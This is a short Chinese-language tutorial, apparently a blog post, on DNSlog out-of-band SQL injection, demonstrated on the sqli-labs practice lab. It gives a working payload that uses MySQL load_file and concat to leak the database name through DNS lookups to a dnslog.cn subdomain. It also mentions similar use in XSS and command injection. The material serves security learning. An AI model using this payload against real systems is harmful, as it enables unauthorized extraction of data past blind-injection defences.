dnslog注入
dnslog注入
dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示,注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数,这个函数的目的是读取本地文件,也可以对外发送请求,利用这个函数,我们再使用concat函数将我们想要执行的语句和dnslog的网址拼接起来,就可以在网址的访问记录上查询到我们希望查询的内容。
dnslog还可以使用在xss和命令执行上,简单来说,在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上,就可以在用户访问的时候,将他的信息带回来,这个测试我会在后面进行详细说明。
过程
首先,我们找一个存在盲注的网站,这里我们用sqli-labs的第五关进行。
然后我们要理解,dnslog主要是利用load_file函数来对外发起请求,然后利用concat函数拼接命令,得出payload
and (select load_file(concat("//",(select database()),".4ozqke.dnslog.cn/abc"))) --
点击执行,即可在dnslog平台收到我们想要的返回。
可以看到,dns网址的高级域名,就是我们希望查询的内容。
注意事项:
dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。
在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况,这是我在进行复现的时候遇到的情况。
在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。